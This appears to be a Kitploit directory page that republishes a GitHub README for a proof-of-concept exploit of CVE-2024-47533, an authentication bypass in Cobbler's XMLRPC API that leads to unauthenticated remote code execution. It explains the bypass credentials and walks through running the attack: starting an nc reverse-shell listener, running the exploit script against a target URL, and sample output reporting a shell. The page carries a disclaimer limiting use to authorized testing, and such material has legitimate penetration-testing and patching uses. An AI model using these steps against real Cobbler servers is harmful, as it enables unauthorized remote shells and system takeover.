Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-47533-PoC | Kitploit
Tools/GitHubGitHub/00xcanelo/cve-2024-47533-poc
Authentication & AuthorizationExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHub00xcanelo/cve-2024-47533-poc

CVE-2024-47533-PoC

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-47533 – Cobbler XMLRPC Authentication Bypass → Reverse Shell (Unauthenticated RCE)

📌 Summary

This repository contains a Proof-of-Concept (PoC) exploit for CVE-2024-47533,
a critical authentication bypass in Cobbler's XMLRPC API that leads to unauthenticated remote code execution (RCE).

The exploit leverages the XMLRPC API's login() method flaw to bypass authentication and inject a reverse shell command via background_import().


⚠️ Disclaimer

This tool is intended for educational, research, and authorized penetration testing only.
Do NOT use it on systems you do not own or have explicit written permission to test.
The author assumes no liability for misuse or damages.


🛠 Technical Details

  • Vulnerability Type: Authentication Bypass → RCE
  • Affected Component: Cobbler XMLRPC API
  • Attack Vector: Network
  • Privileges Required: None
  • User Interaction: None

Root Cause:
utils.get_shared_secret() incorrectly returns -1 due to mishandling file reads in binary mode with an encoding, allowing authentication with an empty username and -1 as the password.

Impact:
An attacker can:

  • Gain admin-level API access
  • Inject arbitrary system commands into Cobbler templates
  • Spawn a reverse shell on the target

🚀 Usage

1️⃣ Clone the repository

root@kitploit:~
git clone https://github.com/00xCanelo/CVE-2024-47533-PoC.git
cd CVE-2024-47533-PoC

2️⃣ Set up a listener

On your attacking machine:

root@kitploit:~
nc -lvnp 4444

3️⃣ Run the exploit

root@kitploit:~
python3 CVE-2024-47533.py -u http://<TARGET_IP>:<PORT>/RPC2 -l <LHOST> -p <LPORT>

Example:

root@kitploit:~
python3 CVE-2024-47533.py -u http://192.168.1.50:25151/RPC2 -l 192.168.1.100 -p 4444

📂 File Structure

root@kitploit:~
.
├── CVE-2024-47533.py  # Reverse shell exploit script
└── README.md          # Documentation

📸 Example Output

root@kitploit:~
[*] Target: http://192.168.1.50:25151/RPC2
[*] Listener: 192.168.1.100:4444
[*] Payload: bash
[*] Connecting to Cobbler...
[*] Authenticating...
[*] Executing exploit...
[+] Exploit sent! Got A Shell 🔥.

🧑‍💻 Author

00xCanelo
GitHub Profile


📚 References

  • NVD: CVE-2024-47533
  • Cobbler Project GitHub
Download Tool